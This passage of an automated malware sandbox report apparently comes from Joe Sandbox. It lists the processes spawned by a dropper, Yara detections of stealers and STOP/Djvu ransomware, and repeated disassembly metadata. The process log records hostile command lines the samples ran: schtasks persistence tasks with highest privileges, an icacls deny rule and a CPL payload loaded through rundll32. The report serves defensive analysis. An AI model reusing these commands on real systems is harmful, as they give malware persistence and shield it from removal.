Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000000D.00000003.2439988856.0000000005CB1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:31:22
Start date:	25/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe
Imagebase:	0x530000
File size:	5'154'288 bytes
MD5 hash:	D9A7D15AE1511095BC12D4FAA9BE6F70
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000E.00000002.2606812448.0000000003C8C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:31:22
Start date:	25/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
Imagebase:	0x860000
File size:	3'134'464 bytes
MD5 hash:	F57F726F9E1B8C24B4F7C275FFAC78CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:31:22
Start date:	25/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\_rSi8sV87ppx0bgkbETdFbEZ.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\_rSi8sV87ppx0bgkbETdFbEZ.exe
Imagebase:	0x400000
File size:	5'784'496 bytes
MD5 hash:	8B7B381CF7D4F577009F99FCE7E5FD39
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	03:31:22
Start date:	25/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe
Imagebase:	0x290000
File size:	2'793'749 bytes
MD5 hash:	32D986D13D2B4B6ACDC7ACE345D66BD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:31:22
Start date:	25/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe
Imagebase:	0x7ff762ea0000
File size:	228'864 bytes
MD5 hash:	3955AF54FBAC1E43C945F447D92E4108
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:31:22
Start date:	25/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe
Imagebase:	0x420000
File size:	5'382'672 bytes
MD5 hash:	029B4A16951A6FB1F6A1FDA9B39769B7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:31:22
Start date:	25/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
Imagebase:	0x400000
File size:	221'184 bytes
MD5 hash:	EEAB6B508F842CE18D229914CD7167F7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000014.00000003.2296250403.0000000004920000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000014.00000003.2296250403.0000000004920000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	03:31:22
Start date:	25/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe
Imagebase:	0x140000000
File size:	11'403'264 bytes
MD5 hash:	D43AC79ABE604CAFFEFE6313617079A3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:31:22
Start date:	25/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe
Imagebase:	0x400000
File size:	7'595'262 bytes
MD5 hash:	3542F60DFEF8BA16451AB6097587BF63
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	03:31:22
Start date:	25/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x230000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	03:31:23
Start date:	25/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xb90000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	03:31:23
Start date:	25/05/2024
Path:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp" /SL5="$4042A,5528781,54272,C:\Users\user\Documents\SimpleAdobe\_rSi8sV87ppx0bgkbETdFbEZ.exe"
Imagebase:	0x7ff6068e0000
File size:	696'832 bytes
MD5 hash:	73919C5267ECFF99768AE00DFA5D9C3F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	03:31:23
Start date:	25/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xf10000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	03:31:26
Start date:	25/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe
Imagebase:	0x400000
File size:	744'960 bytes
MD5 hash:	ADD437E239EBA1CEABCA80AF38F80B56
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000001B.00000002.2662012015.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000001B.00000002.2662012015.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000001B.00000002.2662012015.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	03:31:26
Start date:	25/05/2024
Path:	C:\Users\user\AppData\Local\Temp\kat806.tmp
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\kat806.tmp
Imagebase:	0x400000
File size:	881'664 bytes
MD5 hash:	66064DBDB70A5EB15EBF3BF65ABA254B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 4%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	03:31:27
Start date:	25/05/2024
Path:	C:\Users\user\AppData\Local\Turquoise CD Player\turquoisecdplayer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Turquoise CD Player\turquoisecdplayer.exe" -i
Imagebase:	0x400000
File size:	2'817'403 bytes
MD5 hash:	578530F1C73BA58C2D868B45C7223945
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	03:31:27
Start date:	25/05/2024
Path:	C:\Users\user\AppData\Local\Temp\7zSFB35.tmp\Install.exe
Wow64 process (32bit):	true
Commandline:	.\Install.exe
Imagebase:	0x400000
File size:	6'678'961 bytes
MD5 hash:	0EC8D7480C7D858848914B24584B17B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	03:31:29
Start date:	25/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Imagebase:	0x890000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	03:31:29
Start date:	25/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	03:31:30
Start date:	25/05/2024
Path:	C:\Windows\SysWOW64\control.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\control.exe" "C:\Users\user\AppData\Local\Temp\eKhLlZQ.CPL",
Imagebase:	0xe80000
File size:	149'504 bytes
MD5 hash:	EBC29AA32C57A54018089CFC9CACAFE8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	03:31:30
Start date:	25/05/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0x890000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	03:31:30
Start date:	25/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	03:31:30
Start date:	25/05/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\eKhLlZQ.CPL",
Imagebase:	0x260000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	03:31:31
Start date:	25/05/2024
Path:	C:\Users\user\AppData\Local\Temp\7zSD75.tmp\Install.exe
Wow64 process (32bit):	true
Commandline:	.\Install.exe /jfXIEdidloJv "525403" /S
Imagebase:	0xe00000
File size:	7'043'584 bytes
MD5 hash:	C5FBFA06070EF1EA150FA88E1B6C6684
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	03:31:35
Start date:	25/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	03:31:35
Start date:	25/05/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\cd606818-a84b-463e-828b-b93214ba547c" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0x40000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	03:31:36
Start date:	25/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
Imagebase:	0xee0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000029.00000002.2465855956.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Function 044C4B80 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2167855802.0000000004420000.00000004.00000020.00020000.00000000.sdmp, Offset: 04423000, based on PE: false

Associated: 00000000.00000003.2166181794.00000000043FF000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4423000_CHA0VZiz8y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7340430439ff0178837ea4c7ce95066d010147648a39f67a3ee98a29a768201
Instruction ID: a7f271cad1575f50449f93c1f6de2767cd1b8ff00e49f2747837ea123eb243b9
Opcode Fuzzy Hash: d7340430439ff0178837ea4c7ce95066d010147648a39f67a3ee98a29a768201
Instruction Fuzzy Hash: A4023D75E00219DFDF54CFA9C9906AEB7F1EF88324F19416ED819EB384D731AA418B90

Function 044C4B80 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2167855802.0000000004420000.00000004.00000020.00020000.00000000.sdmp, Offset: 04420000, based on PE: false

Associated: 00000000.00000003.2166181794.00000000043FF000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4423000_CHA0VZiz8y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7340430439ff0178837ea4c7ce95066d010147648a39f67a3ee98a29a768201
Instruction ID: a7f271cad1575f50449f93c1f6de2767cd1b8ff00e49f2747837ea123eb243b9
Opcode Fuzzy Hash: d7340430439ff0178837ea4c7ce95066d010147648a39f67a3ee98a29a768201
Instruction Fuzzy Hash: A4023D75E00219DFDF54CFA9C9906AEB7F1EF88324F19416ED819EB384D731AA418B90

Function 044C4B80 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2167855802.0000000004420000.00000004.00000020.00020000.00000000.sdmp, Offset: 0448C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4423000_CHA0VZiz8y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7340430439ff0178837ea4c7ce95066d010147648a39f67a3ee98a29a768201
Instruction ID: a7f271cad1575f50449f93c1f6de2767cd1b8ff00e49f2747837ea123eb243b9
Opcode Fuzzy Hash: d7340430439ff0178837ea4c7ce95066d010147648a39f67a3ee98a29a768201
Instruction Fuzzy Hash: A4023D75E00219DFDF54CFA9C9906AEB7F1EF88324F19416ED819EB384D731AA418B90

Function 044B5BF0 Relevance: 6.2, APIs: 4, Instructions: 154COMMON

Download Yara Rule

APIs

_com_issue_error.COMSUPP ref: 044B5D28
_com_issue_error.COMSUPP ref: 044B5D32
_com_issue_error.COMSUPP ref: 044B5D4A
_com_issue_error.COMSUPP ref: 044B5D73

Memory Dump Source

Source File: 00000000.00000003.2167855802.0000000004420000.00000004.00000020.00020000.00000000.sdmp, Offset: 04477000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4477000_CHA0VZiz8y.jbxd

Similarity

API ID: _com_issue_error
String ID:
API String ID: 2162355165-0
Opcode ID: 96b57724e4a87a672c22f466a95399eed7d6d0378f62befbb2c52991f6f76a0d
Instruction ID: 50cfa29ad7845ea1452a169d5b9554b957cb6d1c51d6f65e02577495380d5e8e
Opcode Fuzzy Hash: 96b57724e4a87a672c22f466a95399eed7d6d0378f62befbb2c52991f6f76a0d
Instruction Fuzzy Hash: 6A41B5B1A00219ABEF109F69DC44BEEF7B9EF48718F10422AE545E7280D735B5018BF5

Function 044B5BF0 Relevance: 6.2, APIs: 4, Instructions: 154COMMON

Download Yara Rule

APIs

_com_issue_error.COMSUPP ref: 044B5D28
_com_issue_error.COMSUPP ref: 044B5D32
_com_issue_error.COMSUPP ref: 044B5D4A
_com_issue_error.COMSUPP ref: 044B5D73

Memory Dump Source

Source File: 00000000.00000003.2167855802.0000000004420000.00000004.00000020.00020000.00000000.sdmp, Offset: 04423000, based on PE: false

Associated: 00000000.00000003.2166181794.00000000043FF000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4477000_CHA0VZiz8y.jbxd

Similarity

API ID: _com_issue_error
String ID:
API String ID: 2162355165-0
Opcode ID: 96b57724e4a87a672c22f466a95399eed7d6d0378f62befbb2c52991f6f76a0d
Instruction ID: 50cfa29ad7845ea1452a169d5b9554b957cb6d1c51d6f65e02577495380d5e8e
Opcode Fuzzy Hash: 96b57724e4a87a672c22f466a95399eed7d6d0378f62befbb2c52991f6f76a0d
Instruction Fuzzy Hash: 6A41B5B1A00219ABEF109F69DC44BEEF7B9EF48718F10422AE545E7280D735B5018BF5

Function 044B5BF0 Relevance: 6.2, APIs: 4, Instructions: 154COMMON

Download Yara Rule

APIs

_com_issue_error.COMSUPP ref: 044B5D28
_com_issue_error.COMSUPP ref: 044B5D32
_com_issue_error.COMSUPP ref: 044B5D4A
_com_issue_error.COMSUPP ref: 044B5D73

Memory Dump Source

Source File: 00000000.00000003.2167855802.0000000004420000.00000004.00000020.00020000.00000000.sdmp, Offset: 04420000, based on PE: false

Associated: 00000000.00000003.2166181794.00000000043FF000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4477000_CHA0VZiz8y.jbxd

Similarity

API ID: _com_issue_error
String ID:
API String ID: 2162355165-0
Opcode ID: 96b57724e4a87a672c22f466a95399eed7d6d0378f62befbb2c52991f6f76a0d
Instruction ID: 50cfa29ad7845ea1452a169d5b9554b957cb6d1c51d6f65e02577495380d5e8e
Opcode Fuzzy Hash: 96b57724e4a87a672c22f466a95399eed7d6d0378f62befbb2c52991f6f76a0d
Instruction Fuzzy Hash: 6A41B5B1A00219ABEF109F69DC44BEEF7B9EF48718F10422AE545E7280D735B5018BF5

Function 044B5BF0 Relevance: 6.2, APIs: 4, Instructions: 154COMMON

Download Yara Rule

APIs

_com_issue_error.COMSUPP ref: 044B5D28
_com_issue_error.COMSUPP ref: 044B5D32
_com_issue_error.COMSUPP ref: 044B5D4A
_com_issue_error.COMSUPP ref: 044B5D73

Memory Dump Source

Source File: 00000000.00000003.2167855802.0000000004420000.00000004.00000020.00020000.00000000.sdmp, Offset: 0448C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4477000_CHA0VZiz8y.jbxd

Similarity

API ID: _com_issue_error
String ID:
API String ID: 2162355165-0
Opcode ID: 96b57724e4a87a672c22f466a95399eed7d6d0378f62befbb2c52991f6f76a0d
Instruction ID: 50cfa29ad7845ea1452a169d5b9554b957cb6d1c51d6f65e02577495380d5e8e
Opcode Fuzzy Hash: 96b57724e4a87a672c22f466a95399eed7d6d0378f62befbb2c52991f6f76a0d
Instruction Fuzzy Hash: 6A41B5B1A00219ABEF109F69DC44BEEF7B9EF48718F10422AE545E7280D735B5018BF5

Function 044B9BE0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 044B9C1F
__IsNonwritableInCurrentImage.LIBCMT ref: 044B9CD3

Strings

csm, xrefs: 044B9CBD

Memory Dump Source

Source File: 00000000.00000003.2167855802.0000000004420000.00000004.00000020.00020000.00000000.sdmp, Offset: 04477000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4477000_CHA0VZiz8y.jbxd

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 87c47c86b8044d0aeeca0e1fc5ce46c155ec8326e793866ca2b552f28975c0a7
Instruction ID: 088aabedc38db0daaddb8628727870a09bbe5d6e62222c31c7ca4adaa9691adc
Opcode Fuzzy Hash: 87c47c86b8044d0aeeca0e1fc5ce46c155ec8326e793866ca2b552f28975c0a7
Instruction Fuzzy Hash: 7141C3B4A00208ABDF11DF69C880ADE7BF5FF45318F14815AE9556B392D735B901CBE1

Function 044B9BE0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 044B9C1F
__IsNonwritableInCurrentImage.LIBCMT ref: 044B9CD3

Strings

csm, xrefs: 044B9CBD

Memory Dump Source

Source File: 00000000.00000003.2167855802.0000000004420000.00000004.00000020.00020000.00000000.sdmp, Offset: 04423000, based on PE: false

Associated: 00000000.00000003.2166181794.00000000043FF000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4477000_CHA0VZiz8y.jbxd

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 87c47c86b8044d0aeeca0e1fc5ce46c155ec8326e793866ca2b552f28975c0a7
Instruction ID: 088aabedc38db0daaddb8628727870a09bbe5d6e62222c31c7ca4adaa9691adc
Opcode Fuzzy Hash: 87c47c86b8044d0aeeca0e1fc5ce46c155ec8326e793866ca2b552f28975c0a7
Instruction Fuzzy Hash: 7141C3B4A00208ABDF11DF69C880ADE7BF5FF45318F14815AE9556B392D735B901CBE1

Function 044B9BE0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 044B9C1F
__IsNonwritableInCurrentImage.LIBCMT ref: 044B9CD3

Strings

csm, xrefs: 044B9CBD

Memory Dump Source

Source File: 00000000.00000003.2167855802.0000000004420000.00000004.00000020.00020000.00000000.sdmp, Offset: 04420000, based on PE: false

Associated: 00000000.00000003.2166181794.00000000043FF000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4477000_CHA0VZiz8y.jbxd

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 87c47c86b8044d0aeeca0e1fc5ce46c155ec8326e793866ca2b552f28975c0a7
Instruction ID: 088aabedc38db0daaddb8628727870a09bbe5d6e62222c31c7ca4adaa9691adc
Opcode Fuzzy Hash: 87c47c86b8044d0aeeca0e1fc5ce46c155ec8326e793866ca2b552f28975c0a7
Instruction Fuzzy Hash: 7141C3B4A00208ABDF11DF69C880ADE7BF5FF45318F14815AE9556B392D735B901CBE1

Function 044B9BE0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 044B9C1F
__IsNonwritableInCurrentImage.LIBCMT ref: 044B9CD3

Strings

csm, xrefs: 044B9CBD

Memory Dump Source

Source File: 00000000.00000003.2167855802.0000000004420000.00000004.00000020.00020000.00000000.sdmp, Offset: 0448C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4477000_CHA0VZiz8y.jbxd

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 87c47c86b8044d0aeeca0e1fc5ce46c155ec8326e793866ca2b552f28975c0a7
Instruction ID: 088aabedc38db0daaddb8628727870a09bbe5d6e62222c31c7ca4adaa9691adc
Opcode Fuzzy Hash: 87c47c86b8044d0aeeca0e1fc5ce46c155ec8326e793866ca2b552f28975c0a7
Instruction Fuzzy Hash: 7141C3B4A00208ABDF11DF69C880ADE7BF5FF45318F14815AE9556B392D735B901CBE1

Analysis Process: 7U1bGcxK3Lqi_XMHDNEdJrhB.exePID: 3680, Parent PID: 4120COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	13%
Signature Coverage:	6.1%
Total number of Nodes:	293
Total number of Limit Nodes:	35

Executed Functions

Function 0040177E Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 200
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCharWidthI.GDI32(00000000,00000000,00000000,00000000,00000000,7104DC19,4DDEDD50,32F16B60,185911A7,511CF560,39E28F6C,127C64A9,39C630B1,21870240,7EA84DC7,7EA84DC7), ref: 00401AD0
GetModuleFileNameA.KERNEL32(00000000,00000000,00000000,7104DC19,4DDEDD50,32F16B60,185911A7,511CF560,39E28F6C,127C64A9,39C630B1,21870240,7EA84DC7,7EA84DC7,4441C554,4E757E39), ref: 00401AD9
_calloc.LIBCMT ref: 00401AFE
_fseek.LIBCMT ref: 00401B06
GetNumberFormatW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000), ref: 00401B3D
GetLastError.KERNEL32 ref: 00401B43
SetLastError.KERNEL32(00000000), ref: 00401B4A
GetSystemDirectoryA.KERNEL32(?,00000000), ref: 00401B94

Strings

9~uN, xrefs: 004017C4
z&i>, xrefs: 004018F1
?<l-, xrefs: 00401873
E%os, xrefs: 00401860
8*@, xrefs: 00401926
8Y<6, xrefs: 0040193B
r, xrefs: 0040182D

Memory Dump Source

Source File: 00000007.00000002.2310707332.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2310682718.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2310837369.0000000000412000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311018653.0000000000419000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311092801.000000000041A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004AC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311314882.00000000004F2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2311389200.00000000004F4000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_7U1bGcxK3Lqi_XMHDNEdJrhB.jbxd

Similarity

API ID: ErrorLast$CharDirectoryFileFormatModuleNameNumberSystemWidth_calloc_fseek
